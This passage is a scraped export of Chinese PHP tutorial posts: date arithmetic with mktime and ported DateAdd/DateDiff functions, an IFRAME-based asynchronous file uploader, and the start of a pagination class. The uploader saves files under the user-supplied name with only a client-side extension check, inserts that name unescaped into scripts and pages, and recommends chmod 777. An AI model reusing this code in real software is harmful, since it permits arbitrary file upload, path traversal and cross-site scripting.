\u0026#8220;year\u0026#8221; –年 \u0026#8220;yday\u0026#8221; \u0026#8211; r本年的第几天（数字） \u0026#8220;month\u0026#8221; -月份全名 我们现在可以得到容易辨认的日期和时间。那么其他呢？ **转换现在的日期为Unix的时间戳值 通常你必须处理一些日期或时间格式的数据。打开M$的一个Access数据库，所有的日期都以YYYY/MM/DD的格式存储，加入目前的日前即为2000/05/27。Mktime()函数可以将一个时间转换成Unix的时间戳值。 函数的格式为：int mktime(int hour, int minute, int second, int month, int day, int year, int [is_dst] ); 从左往右你必须提供小时、分、秒、月、天和年。最后一个参数用于指定你是否处于夏令时，此参数是可选的，所以我们将忽略它。 代码如下： ? echo mktime (0, 0,0 ,5, 27,2000 ); ? 由于不知道小时、分和秒同时这些参数必须填写，我将其设置为0。设置为0意味着时间为午夜。 ? $access_date = \u0026#8220;2000/05/27\u0026#8221;; //explode()函数用一个字符串作为分界来分解另一个字符串。这个例子$access_date通过字符串”/”来分解 $date_elements = explode(\u0026#8220;/\u0026#8221; ,$access_date); // 此时 // $date_elements[0] = 2000 // $date_elements[1] = 5 // $date_elements[2] = 27 echo mktime (0, 0,0 ,$date_elements [1], $date_elements[ 2],$date_elements [0]); ? 我们看一个比从Access数据库单纯获得日期更复杂的情况，我们得到一个以下格式的日期和时间：2000/05/27 02:40:21 PM ? // 来自Access的字符串 $date_time_string = \u0026#8220;2000/05/27 02:40:21 PM\u0026#8221;; // 将字符串分解成3部分－日期、时间和上午/下午 $dt_elements = explode(\u0026#8221; \u0026#8221; ,$date_time_string); // 分解日期 $date_elements = explode(\u0026#8220;/\u0026#8221; ,$dt_elements[ 0]); // 分解时间 $time_elements = explode(\u0026#8220;:\u0026#8221; ,$dt_elements[ 1]); // 如果是下午，我们将时间增加12小时以便得到24小时制的时间 if ($dt_elements [2]== \u0026#8220;PM\u0026#8221;) { $time_elements[ 0]+=12;} // 输出结果 echo mktime ($time_elements [0], $time_elements[ 1], $time_elements[ 2], $date_elements[1], $date_elements[2], $date_elements[0]); ? **修改日期 有时我们需要知道6小时以后是什么时间，35天前的日期或者从你最后一次玩Quake3后已过去多少秒。我们已经知道如何用mktime()函数从单独的日期和时间中获得Unix的时间戳值。如果我们需要的并非目前日期和时间的Unix时间戳值，我们该咋办？下面是一些练习可以帮助说明我们后面所要做的。 正如前面所见，mktime()使用以下参数：小时、分、秒、月、天和年。想想第二节，getdate()函数可以为我们获得这些参数。 ? // 将目前的时间戳值放入一数组内 $timestamp = time(); echo $timestamp; echo \u0026#8220;p\u0026#8221;; $date_time_array = getdate( $timestamp); // 用mktime()函数重新产生Unix时间戳值 $timestamp = mktime($date_time_array [\u0026#8220;hours\u0026#8221;], $date_time_array[\u0026#8220;minutes\u0026#8221; ],$date_time_array[ \u0026#8220;seconds\u0026#8221;],$date_time_array [\u0026#8220;mon\u0026#8221;], $date_time_array[\u0026#8220;mday\u0026#8221; ],$date_time_array[ \u0026#8220;year\u0026#8221;]); echo $timestamp; ? 看起来有一些令人感到迷惑。我将用一些变量来使上面的程序看起来更容易了解。 ? // 将目前的时间戳值放入一数组内 $timestamp = time(); echo $timestamp; echo \u0026#8220;p\u0026#8221;; $date_time_array = getdate( $timestamp); $hours = $date_time_array[ \u0026#8220;hours\u0026#8221;]; $minutes = $date_time_array[\u0026#8220;minutes\u0026#8221;]; $seconds = $date_time_array[ \u0026#8220;seconds\u0026#8221;]; $month = $date_time_array[\u0026#8220;mon\u0026#8221;]; $day = $date_time_array[\u0026#8220;mday\u0026#8221;]; $year = $date_time_array[\u0026#8220;year\u0026#8221;]; // 用mktime()函数重新产生Unix时间戳值 $timestamp = mktime($hours ,$minutes, $seconds,$month ,$day,$year); echo $timestamp; ? 现在我们将由getdate()所产生的时间戳值放入相对应的名称变量中，所以代码变得相对容易阅读和理解。现在如果我们需要在目前的时间上加上19个小时，我们用$hours+19代替mktime()函数中的$hours。mktime()将自动为我们将时间转到第二天。 ? // 将目前的时间戳值放入一数组内 $timestamp = time(); echo strftime( \u0026#8220;%Hh%M %A %d %b\u0026#8221;,$timestamp); echo \u0026#8220;p\u0026#8221;; $date_time_array = getdate($timestamp); $hours = $date_time_array[\u0026#8220;hours\u0026#8221;]; $minutes = $date_time_array[\u0026#8220;minutes\u0026#8221;]; $seconds = $date_time_array[\u0026#8220;seconds\u0026#8221;]; $month = $date_time_array[\u0026#8220;mon\u0026#8221;]; $day = $date_time_array[\u0026#8220;mday\u0026#8221;]; $year = $date_time_array[\u0026#8220;year\u0026#8221;]; // 用mktime()函数重新产生Unix时间戳值 // 增加19小时 $timestamp = mktime($hours + 19, $minutes,$seconds ,$month, $day,$year); echo strftime( \u0026#8220;%Hh%M %A %d %b\u0026#8221;,$timestamp); echo \u0026#8220;br~E after adding 19 hours\u0026#8221;; ? 运行后得到： 14h58 Saturday 03 Jun 09h58 Sunday 04 Jun ~E after adding 19 hours 减少时间也是同样的－你只需要减少相应变量的值即可。 得到两个不同时间值的差同样也是非常简单。你所需要做的只是将两个时间值转换为Unix的时间戳值，然后两者相减即可。两者之差即为两个时间所相隔的秒数。另外一些算法可以很快地将秒转为天、小时、分和秒。 **为PHP添加DateAdd函数 正如在文章一开始我所说的－写本文的原因是因为我在PHP中找不到类似ASP的DateDiff函数。在介绍完PHP是如何处理日期和时间，让我们将ASP中常用的两个函数移植到PHP。第一个函数是DateAdd。 根据Vbscript的文档，DateAdd(interval,number,date)函数的定义为“返回已添加指定时间间隔的日期。” Inetrval为表示要添加的时间间隔字符串表达式，例如分或天；number为表示要添加的时间间隔的个数的数值表达式；Date表示日期。 Interval（时间间隔字符串表达式）可以是以下任意值: yyyy year年 q Quarter季度 m Month月 y Day of year一年的数 d Day天 w Weekday一周的天数 ww Week of year周 h Hour小时 n Minute分 s Second秒 w、y和d的作用是完全一样的，即在目前的日期上加一天，q加3个月，ww加7天。 ? function DateAdd ($interval, $number, $date) { $date_time_array = getdate($date); $hours = $date_time_array[\u0026#8220;hours\u0026#8221;]; $minutes = $date_time_array[\u0026#8220;minutes\u0026#8221;]; $seconds = $date_time_array[\u0026#8220;seconds\u0026#8221;]; $month = $date_time_array[\u0026#8220;mon\u0026#8221;]; $day = $date_time_array[\u0026#8220;mday\u0026#8221;]; $year = $date_time_array[\u0026#8220;year\u0026#8221;]; switch ($interval) { case \u0026#8220;yyyy\u0026#8221;: $year +=$number; break; case \u0026#8220;q\u0026#8221;: $month +=($number*3); break; case \u0026#8220;m\u0026#8221;: $month +=$number; break; case \u0026#8220;y\u0026#8221;: case \u0026#8220;d\u0026#8221;: case \u0026#8220;w\u0026#8221;: $day+=$number; break; case \u0026#8220;ww\u0026#8221;: $day+=($number*7); break; case \u0026#8220;h\u0026#8221;: $hours+=$number; break; case \u0026#8220;n\u0026#8221;: $minutes+=$number; break; case \u0026#8220;s\u0026#8221;: $seconds+=$number; break; } $timestamp = mktime($hours ,$minutes, $seconds,$month ,$day, $year); return $timestamp;} ? 我们可以将上面的代码保存为dateadd.inc文件，然后运行以下代码： ? include(\u0026#8216;dateadd.inc\u0026#8217;); $temptime = time(); echo strftime( \u0026#8220;%Hh%M %A %d %b\u0026#8221;,$temptime); $temptime = DateAdd(\u0026#8220;n\u0026#8221; ,50,$temptime); echo \u0026#8220;p\u0026#8221;; echo strftime( \u0026#8220;%Hh%M %A %d %b\u0026#8221;,$temptime); ? 我们将得到： 15h41 Saturday 03 Jun 16h31 Saturday 03 Jun 为PHP添加DateDiff函数 现在DateAdd已经完成，那么DateDiff呢？ 根据文档，DateDiff(interval,date1,date2)函数的定义为“返回两个日期之间的时间间隔”。 Intervals参数的用法与DateAdd函数中的相同。出于避免过于复杂的考虑，我们决定忽略Vbscript中DateDiff函数中其它复杂的参数，即其两个可选的参数变量[firstdayofweek[, firstweekofyear]]（它们用于决定星期中第一天是星期天还是星期一和一年中第一周的常数。而且我们只允许intervals有以下五个值：\u0026#8221;w\u0026#8221;(周)、\u0026#8221;d\u0026#8221;（天）、\u0026#8221;h\u0026#8221;（小时）、\u0026#8221;n\u0026#8221;（分钟） 和\u0026#8221;s\u0026#8221;（秒）。 Let\u0026#8217;s see what we can come up with: 下面的代码是我们所需要的： ? Function DateDiff ($interval, $date1,$date2) { // 得到两日期之间间隔的秒数 $timedifference = $date2 \u0026#8211; $date1; switch ($interval) { case \u0026#8220;w\u0026#8221;: $retval = bcdiv($timedifference ,604800); break; case \u0026#8220;d\u0026#8221;: $retval = bcdiv( $timedifference,86400); break; case \u0026#8220;h\u0026#8221;: $retval = bcdiv ($timedifference,3600); break; case \u0026#8220;n\u0026#8221;: $retval = bcdiv( $timedifference,60); break; case \u0026#8220;s\u0026#8221;: $retval = $timedifference; break; } return $retval;} ? 将上面的代码存为datediff.inc文件，然后运行下面的代码： ? include(\u0026#8216;datediff.inc\u0026#8217;); include(\u0026#8216;dateadd.inc\u0026#8217;); $currenttime = time(); echo \u0026#8220;Current time: \u0026#8220;. strftime(\u0026#8220;%Hh%M %A %d %b\u0026#8221; ,$currenttime).\u0026#8221;br\u0026#8221;; $newtime = DateAdd (\u0026#8220;n\u0026#8221;,50 ,$currenttime); echo \u0026#8220;Time plus 50 minutes: \u0026#8220;. strftime(\u0026#8220;%Hh%M %A %d %b\u0026#8221; ,$newtime).\u0026#8221;br\u0026#8221;; $temptime = DateDiff (\u0026#8220;n\u0026#8221;,$currenttime ,$newtime); echo \u0026#8220;Interval between two times: \u0026#8220;.$temptime; ? 如果一切顺利，你可以看到以下结果： Current time: 16h23 Saturday 03 Jun Time plus 50 minutes: 17h13 Saturday 03 Jun Interval between two times: 50 如果你在Unix机器上运行PHP，你必须编译PHP支持BC高精度函数。你必须从以下地址http://www.php.net/extra/number4.tar.gz下载BC库，然后将其解压到PHP4的根目录下，重新编译PHP，编译时要加上\u0026#8211;enable-bcmath的选项。（详细说明见PHP4中README.BCMATH）。PHP4的Windows版本则不需要做任何修补即可直接使用BC高精度函数。 现在你已经得到处理日期和时间的函数，剩下的就是如何将其运用到你的PHP程序中。 ","permalink":"https://hessian.cn/p/317.html","summary":"by Allan Kent 我正打算用PHP编写一种帮助处理系统。我发现我必须知道处理完最后一位客户的问题后已经过去了多长时间？当我过去用ASP时解决这个问题相当简单，ASP有相应的函数DateDiff可以给出两个日期间间隔多少月、多少天和多少秒。当我搜寻完PHP手册后我发现PHP并没有类似的函数。 ","title":"PHP中的日期处理"},{"content":"　异步的文件上传是在现代的AJAX实现的Web应用里面经常要遇到，必须解决的问题。但是标准的AJAX类（XmlHttpRequest）无法实现传输文件的功能。因此，这里讨论的内容就是如何在AJAX的技术的基础之上构建异步的文件上传功能。在这个功能当中需要使用到内置的框及（IFRAME）来传输文件。这个功能实现的效果是页面在上传文件的时候，用户还可以使用该页面并且填写文件描述。 这个例子是我们引用AJAX的经典案例进行分析的。\n系统环境\n· 较新版本的浏览器。例如Opera，Firefox或者 Internet Explorer。 · PHP 4.3.0 或更高版本 · PHP 5 版本\n· PHP 中的 \u0026#8216;short_open_tag\u0026#8217; 选项开启(否则会发生解析错误)。\n功能分析\n通过内置的IFRAME（框架）进行文件上传。具备包括三个部分组成。\n· 在页面中间有一个简单的＜form\u0026#8230;表单，表单只包含了＜input type=\u0026#8221;file\u0026#8221; \u0026#8230; ＞控件。这个表单的目标链接就是一个隐藏得IFRAME(通过 CSS的风格\u0026#8221; display: none;\u0026#8221;实现)并且表单里面唯一一个控件的OnChange事件用来触发JavaScript函数。这个函数的作用是检查用户提交的扩展名，然后提交表单。 · 在服务器端用PHP编写了一个处理过程（用FILEFRAME坐注释了）。这个处理过程用来把从客户端上传的文件进行检查后保存在服务器，并且通过Javascript代码的形式返回给用户。返回给用户的Javascript脚本通过\u0026#8221;parent.window.document\u0026#8221;更改了用户现在正在查看的页面，设置了文件的名称并启用了让用户提交表单的按钮。启用按钮的操作是通过getElementById函数实现的。\n· 在主页面还有一个表单，它包含了用户提交的描述和隐藏的文件名。用户可以在文件上传的同时填写文件的描述。当文件上传结束以后，用户点击按钮，就可以看上传以后返回给用户的文件信息了。（通过返回来的文件名和用户输入的描述构成文件信息）。\n可能你会说这么操作不符合常理：文件在用户确认之前就已经被提交了。如果用户没有提交的话，情况会如何呢。你可以自己在扩展处理被用户放弃的文件。 这个例子把文件存储在一个文件系统的目录下。你需要在脚本开始运行的时候配置下这个目录，具体的包含这个目录信息的变量是$upload_dir 和$web_upload_dir。这里有一个对目录是否可写的权限检查。\n这里我们用到了以下几个PHP函数：\n· move_uploaded_file \u0026#8211; 转移一经上传到服务器的文件 · fopen \u0026#8211; 打开文件 · fwrite \u0026#8211; 把内容写入文件 · fclose \u0026#8211; 关闭文件 · str_replace \u0026#8211; 替换字符串 · filesize \u0026#8211; 返回文件大小 · filemtime \u0026#8211; 返回处理时间\n你可以通过手册查到这些函数如果使用。请注意要把HTM(＜, ＞, \u0026amp;)标记替换为(\u0026amp;lt;, \u0026amp;gt; 和 \u0026amp;amp;).\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 源代码\n＜?php\n$upload_dir = \u0026#8220;/var/www/anyexample/aeu\u0026#8221;; // 文件存储的路径\n$web_upload_dir = \u0026#8220;/aeu\u0026#8221;; // 文件在Web目录下的路径\n$tf = $upload_dir.\u0026#8217;/\u0026#8217;.md5(rand()).\u0026#8221;.test\u0026#8221;;\n$f = @fopen($tf, \u0026#8220;w\u0026#8221;);\nif ($f == false) die(\u0026#8220;Fatal error! {$upload_dir} is not writable. Set \u0026#8216;chmod 777 {$upload_dir}\u0026#8217;\nor something like this\u0026#8221;);\nfclose($f);\nunlink($tf);\n//处理上传的文件\nif (isset($_POST[\u0026#8216;fileframe\u0026#8217;])) {\n$result = \u0026#8216;ERROR\u0026#8217;;\n$result_msg = \u0026#8216;No FILE field found\u0026#8217;;\nif (isset($_FILES[\u0026#8216;file\u0026#8217;])) // 从浏览器接受文件\n{\nif ($_FILES[\u0026#8216;file\u0026#8217;][\u0026#8216;error\u0026#8217;] == UPLOAD_ERR_OK) // 没有错误\n{\n$filename = $_FILES[\u0026#8216;file\u0026#8217;][\u0026#8216;name\u0026#8217;]; // 文件名 move_uploaded_file($_FILES[\u0026#8216;file\u0026#8217;][\u0026#8216;tmp_name\u0026#8217;], $upload_dir.\u0026#8217;/\u0026#8217;.$filename);\n// 处理的主过程-转移文件到 $upload_dir $result = \u0026#8216;OK\u0026#8217;;\n}\nelseif ($_FILES[\u0026#8216;file\u0026#8217;][\u0026#8216;error\u0026#8217;] == UPLOAD_ERR_INI_SIZE)\n$result_msg = \u0026#8216;The uploaded file exceeds the upload_max_filesize directive in php.ini\u0026#8217;;\nelse $result_msg = \u0026#8216;Unknown error\u0026#8217;;\n}\necho \u0026#8216;＜html＞＜head＞＜title＞-＜/title＞＜/head＞＜body＞\u0026#8217;;\necho \u0026#8216;＜script language=\u0026#8221;JavaScript\u0026#8221; type=\u0026#8221;text/javascript\u0026#8221;＞\u0026#8217;.\u0026#8221;n\u0026#8221;;\necho \u0026#8216;var parDoc = window.parent.document;\u0026#8217;;\n\u0026#8217;\nif ($result == \u0026#8216;OK\u0026#8217;)\n{\necho \u0026#8216;parDoc.getElementById(\u0026#8220;upload_status\u0026#8221;).value = \u0026#8220;file successfully uploaded\u0026#8221;;\u0026#8217;;\necho \u0026#8216;parDoc.getElementById(\u0026#8220;filename\u0026#8221;).value = \u0026#8220;\u0026#8216;.$filename.'\u0026#8221;;\u0026#8217;;\necho \u0026#8216;parDoc.getElementById(\u0026#8220;filenamei\u0026#8221;).value = \u0026#8220;\u0026#8216;.$filename.'\u0026#8221;;\u0026#8217;;\necho \u0026#8216;parDoc.getElementById(\u0026#8220;upload_button\u0026#8221;).disabled = false;\u0026#8217;;\n}\nelse\n{\necho \u0026#8216;parDoc.getElementById(\u0026#8220;upload_status\u0026#8221;).value = \u0026#8220;ERROR: \u0026#8216;.$result_msg.'\u0026#8221;;\u0026#8217;;\n}\necho \u0026#8220;n\u0026#8221;.\u0026#8217;＜/script＞＜/body＞＜/html＞\u0026#8217;;\nexit();\n}\nfunction safehtml($s)\n{\n$s=str_replace(\u0026#8220;\u0026amp;\u0026#8221;, \u0026#8220;\u0026amp;amp;\u0026#8221;, $s);\n$s=str_replace(\u0026#8220;＜\u0026#8221;, \u0026#8220;\u0026amp;lt;\u0026#8221;, $s);\n$s=str_replace(\u0026#8220;＞\u0026#8221;, \u0026#8220;\u0026amp;gt;\u0026#8221;, $s);\n$s=str_replace(\u0026#8220;\u0026#8216;\u0026#8221;, \u0026#8220;\u0026amp;apos;\u0026#8221;, $s);\n$s=str_replace(\u0026#8220;\u0026#8221;\u0026#8221;, \u0026#8220;\u0026amp;quot;\u0026#8221;, $s);\nreturn $s;\n}\nif (isset($_POST[\u0026#8216;description\u0026#8217;]))\n{\n$filename = $_POST[\u0026#8216;filename\u0026#8217;];\n$size = filesize($upload_dir.\u0026#8217;/\u0026#8217;.$filename);\n$date = date(\u0026#8216;r\u0026#8217;, filemtime($upload_dir.\u0026#8217;/\u0026#8217;.$filename));\n$description = safehtml($_POST[\u0026#8216;description\u0026#8217;]);\n$html =＜＜＜END\n＜html＞＜head＞＜title＞{$filename} [uploaded by IFRAME Async file uploader]＜/title＞＜/head＞\n＜body＞\n＜h1＞{$filename}＜/h1＞\n＜p＞This is a file information page for your uploaded file. Bookmark it, or send to anyone\u0026#8230;＜/p＞\n＜p＞Date: {$date}＜/p＞\n＜p＞Size: {$size} bytes＜/p＞\n＜p＞Description: ＜pre＞{$description}＜/pre＞\n＜/p＞\n＜p＞＜a href=\u0026#8221;{$web_upload_dir}/{$filename}\u0026#8221; style=\u0026#8221;font-size: large;\u0026#8221;＞download file＜/a＞＜br＞\n＜a href=\u0026#8221;{$PHP_SELF}\u0026#8221; style=\u0026#8221;font-size: small;\u0026#8221;＞back to file uploading＜/a＞＜br＞\n＜a href=\u0026#8221;{$web_upload_dir}/upload-log.html\u0026#8221; style=\u0026#8221;font-size: small;\u0026#8221;＞upload-log＜/a＞＜/p＞\n＜br＞＜br＞Example by ＜a href=\u0026#8221;http://www.anyexample.com/\u0026#8221;＞AnyExample＜/a＞\n＜/body＞＜/html＞\nEND;\n$f = fopen($upload_dir.\u0026#8217;/\u0026#8217;.$filename.\u0026#8217;-desc.html\u0026#8217;, \u0026#8220;w\u0026#8221;);\nfwrite($f, $html);\nfclose($f);\n$msg = \u0026#8220;File {$filename} uploaded, ＜a href='{$web_upload_dir}/{$filename}-desc.html\u0026#8217;＞see file information page＜/a＞\u0026#8221;;\n$f = fopen($upload_dir.\u0026#8221;/upload-log.html\u0026#8221;, \u0026#8220;a\u0026#8221;);\nfwrite($f, \u0026#8220;＜p＞$msg＜/p＞n\u0026#8221;);\nfclose($f);\nsetcookie(\u0026#8216;msg\u0026#8217;, $msg); header(\u0026#8220;Location: http://\u0026#8221;.$_SERVER[\u0026#8216;HTTP_HOST\u0026#8217;].$PHP_SELF); exit(); } if (isset($_COOKIE[\u0026#8216;msg\u0026#8217;]) \u0026amp;\u0026amp; $_COOKIE[\u0026#8216;msg\u0026#8217;] != \u0026#8221;) { if (get_magic_quotes_gpc()) $msg = stripslashes($_COOKIE[\u0026#8216;msg\u0026#8217;]); else\n$msg = $_COOKIE[\u0026#8216;msg\u0026#8217;];\nsetcookie(\u0026#8216;msg\u0026#8217;, \u0026#8221;); } ?＞\n＜!\u0026#8211; Beginning of main page \u0026#8211;＞\n＜html＞＜head＞\n＜title＞IFRAME Async file uploader example＜/title＞\n＜/head＞\n＜body＞\n＜?php if (isset($msg)) echo \u0026#8216;＜p style=\u0026#8221;font-weight: bold;\u0026#8221;＞\u0026#8217;.$msg.\u0026#8217;＜/p＞\u0026#8217;;\n?＞ ＜h1＞Upload file:＜/h1＞\n＜p＞File will begin to upload just after selection. ＜/p＞\n＜p＞You may write file description, while you file is being uploaded.＜/p＞\n＜form action=\u0026#8221;＜?=$PHP_SELF?＞\u0026#8221; target=\u0026#8221;upload_iframe\u0026#8221; method=\u0026#8221;post\u0026#8221; enctype=\u0026#8221;multipart/form-data\u0026#8221;＞\n＜input type=\u0026#8221;hidden\u0026#8221; name=\u0026#8221;fileframe\u0026#8221; value=\u0026#8221;true\u0026#8221;＞\n＜!\u0026#8211; Target of the form is set to hidden iframe \u0026#8211;＞\n＜!\u0026#8211; From will send its post data to fileframe section of this PHP script (see above) \u0026#8211;＞\n＜label for=\u0026#8221;file\u0026#8221;＞text file uploader:＜/label＞＜br＞\n＜!\u0026#8211; JavaScript is called by OnChange attribute \u0026#8211;＞\n＜input type=\u0026#8221;file\u0026#8221; name=\u0026#8221;file\u0026#8221; id=\u0026#8221;file\u0026#8221; onChange=\u0026#8221;jsUpload(this)\u0026#8221;＞\n＜/form＞\n＜script type=\u0026#8221;text/javascript\u0026#8221;＞\n/* This function is called when user selects file in file dialog */\nfunction jsUpload(upload_field)\n{\n// this is just an example of checking file extensions\n// if you do not need extension checking, remove // everything down to line\n// upload_field.form.submit();\nvar re_text = /.txt|.xml|.zip/i;\nvar filename = upload_field.value;\n/* Checking file type */\nif (filename.search(re_text) == -1)\n{\nalert(\u0026#8220;File does not have text(txt, xml, zip) extension\u0026#8221;);\nupload_field.form.reset();\nreturn false;\n}\nupload_field.form.submit();\ndocument.getElementById(\u0026#8216;upload_status\u0026#8217;).value = \u0026#8220;uploading file\u0026#8230;\u0026#8221;;\nupload_field.disabled = true;\nreturn true;\n}\n＜/script＞\n＜iframe name=\u0026#8221;upload_iframe\u0026#8221; style=\u0026#8221;width: 400px; height: 100px; display: none;\u0026#8221;＞\n＜/iframe＞\n＜!\u0026#8211; For debugging purposes, it\u0026#8217;s often useful to remove\n\u0026#8220;display: none\u0026#8221; from style=\u0026#8221;\u0026#8221; attribute \u0026#8211;＞\n＜br＞\nUpload status:＜br＞\n＜input type=\u0026#8221;text\u0026#8221; name=\u0026#8221;upload_status\u0026#8221; id=\u0026#8221;upload_status\u0026#8221; value=\u0026#8221;not uploaded\u0026#8221; size=\u0026#8221;64\u0026#8243; disabled＞\n＜br＞＜br＞\nFile name:＜br＞\n＜input type=\u0026#8221;text\u0026#8221; name=\u0026#8221;filenamei\u0026#8221; id=\u0026#8221;filenamei\u0026#8221; value=\u0026#8221;none\u0026#8221; disabled＞\n＜form action=\u0026#8221;＜?=$PHP_SELF?＞\u0026#8221; method=\u0026#8221;POST\u0026#8221;＞\n＜!\u0026#8211; one field is \u0026#8220;disabled\u0026#8221; for displaying-only. Other, hidden one is for sending data \u0026#8211;＞\n＜input type=\u0026#8221;hidden\u0026#8221; name=\u0026#8221;filename\u0026#8221; id=\u0026#8221;filename\u0026#8221;＞\n＜br＞＜br＞\n＜label for=\u0026#8221;photo\u0026#8221;＞File description:＜/label＞＜br＞\n＜textarea rows=\u0026#8221;5\u0026#8243; cols=\u0026#8221;50\u0026#8243; name=\u0026#8221;description\u0026#8221;＞＜/textarea＞\n＜br＞＜br＞\n＜input type=\u0026#8221;submit\u0026#8221; id=\u0026#8221;upload_button\u0026#8221; value=\u0026#8221;save file\u0026#8221; disabled＞\n＜/form＞\n＜br＞＜br＞\n＜a href=\u0026#8221;＜?=$web_upload_dir?＞/upload-log.html\u0026#8221;＞upload-log＜/a＞\n＜br＞＜br＞＜br＞\nExample by ＜a href=\u0026#8221;http://www.anyexample.com/\u0026#8221;＞AnyExample＜/a＞\n＜/body＞\n＜/html＞ 以上的讲解就是提供一种思路供大家参考。大家也可以根据自己的需求进行相应的优化。\n","permalink":"https://hessian.cn/p/346.html","summary":"　异步的文件上传是在现代的AJAX实现的Web应用里面经常要遇到，必须解决的问题。但是标准的AJAX类（XmlHttpRequest）无法实现传输文件的功能。因此，这里讨论的内容就是如何在AJAX的技术的基础之上构建异步的文件上传功能。在这个功能当中需要使用到内置的框及（IFRAME）来传输文件。这个功能实现的效果是页面在上传文件的时候，用户还可以使用该页面并且填写文件描述。 ","title":"基于PHP的AJAX技术实现文件异步上传"},{"content":"\u0026lt;?\n/**\n* filename: ext_page.class.php\n* @package:phpbean\n* @author :feifengxlq\u0026lt;feifengxlq#gmail.com\u0026gt;\u0026lt;[url=http://www.phpobject.net/]http://www.phpobject.net/[/url]\u0026gt;\n* @copyright :Copyright 2006 feifengxlq\n* @license:version 2.0\n* @create:2006-5-31\n* @modify:2006-6-1\n* @modify:feifengxlq 2006-11-4\n* description:超强分页类，四种分页模式，默认采用类似baidu,google的分页风格。\n* 2.0增加功能：支持自定义风格，自定义样式，同时支持PHP4和PHP5,\n* to see detail,please visit [url=http://www.phpobject.net/blog/read.php]http://www.phpobject.net/blog/read.php[/url]?\n* example:\n* 模式四种分页模式：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; require_once(\u0026#8216;../libs/classes/page.class.php\u0026#8217;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $page=new page(array(\u0026#8216;total\u0026#8217;=\u0026gt;1000,\u0026#8217;perpage\u0026#8217;=\u0026gt;20));\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;mode:1\u0026lt;br\u0026gt;\u0026#8217;.$page-\u0026gt;show();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;\u0026lt;hr\u0026gt;mode:2\u0026lt;br\u0026gt;\u0026#8217;.$page-\u0026gt;show(2);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;\u0026lt;hr\u0026gt;mode:3\u0026lt;br\u0026gt;\u0026#8217;.$page-\u0026gt;show(3);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;\u0026lt;hr\u0026gt;mode:4\u0026lt;br\u0026gt;\u0026#8217;.$page-\u0026gt;show(4);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 开启AJAX：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $ajaxpage=new page(array(\u0026#8216;total\u0026#8217;=\u0026gt;1000,\u0026#8217;perpage\u0026#8217;=\u0026gt;20,\u0026#8217;ajax\u0026#8217;=\u0026gt;\u0026#8217;ajax_page\u0026#8217;,\u0026#8217;page_name\u0026#8217;=\u0026gt;\u0026#8217;test\u0026#8217;));\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;mode:1\u0026lt;br\u0026gt;\u0026#8217;.$ajaxpage-\u0026gt;show();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 采用继承自定义分页显示模式：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; demo:http://www.phpobject.net/blog\n*/\nclass page {\n/**\n\u0026nbsp;\u0026nbsp; * config ,public\n\u0026nbsp;\u0026nbsp; */\nvar $page_name=\u0026#8221;PB_page\u0026#8221;;//page标签，用来控制url页。比如说xxx.php?PB_page=2中的PB_page\nvar $next_page=\u0026#8217;\u0026gt;\u0026#8217;;//下一页\nvar $pre_page='\u0026lt;\u0026#8216;;//上一页\nvar $first_page=\u0026#8217;First\u0026#8217;;//首页\nvar $last_page=\u0026#8217;Last\u0026#8217;;//尾页\nvar $pre_bar='\u0026lt;\u0026lt;\u0026#8216;;//上一分页条\nvar $next_bar=\u0026#8217;\u0026gt;\u0026gt;\u0026#8217;;//下一分页条\nvar $format_left='[\u0026#8216;;\nvar $format_right=\u0026#8217;]\u0026#8217;;\nvar $is_ajax=false;//是否支持AJAX分页模式 /**\n\u0026nbsp;\u0026nbsp; * private\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; */ var $pagebarnum=10;//控制记录条的个数。\nvar $totalpage=0;//总页数\nvar $ajax_action_name=\u0026#8221;;//AJAX动作名\nvar $nowindex=1;//当前页\nvar $url=\u0026#8221;\u0026#8221;;//url地址头\nvar $offset=0;\n/**\n\u0026nbsp;\u0026nbsp; * constructor构造函数\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @param array $array[\u0026#8216;total\u0026#8217;],$array[\u0026#8216;perpage\u0026#8217;],$array[\u0026#8216;nowindex\u0026#8217;],$array[\u0026#8216;url\u0026#8217;],$array[\u0026#8216;ajax\u0026#8217;]\u0026#8230;\n\u0026nbsp;\u0026nbsp; */\nfunction page($array)\n{\n\u0026nbsp;\u0026nbsp; if(is_array($array)){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(!array_key_exists(\u0026#8216;total\u0026#8217;,$array))$this-\u0026gt;error(__FUNCTION__,\u0026#8217;need a param of total\u0026#8217;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $total=intval($array[\u0026#8216;total\u0026#8217;]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $perpage=(array_key_exists(\u0026#8216;perpage\u0026#8217;,$array))?intval($array[\u0026#8216;perpage\u0026#8217;]):10;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $nowindex=(array_key_exists(\u0026#8216;nowindex\u0026#8217;,$array))?intval($array[\u0026#8216;nowindex\u0026#8217;]):\u0026#8221;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $url=(array_key_exists(\u0026#8216;url\u0026#8217;,$array))?$array[\u0026#8216;url\u0026#8217;]:\u0026#8221;;\n\u0026nbsp;\u0026nbsp; }else{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $total=$array;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $perpage=10;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $nowindex=\u0026#8221;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 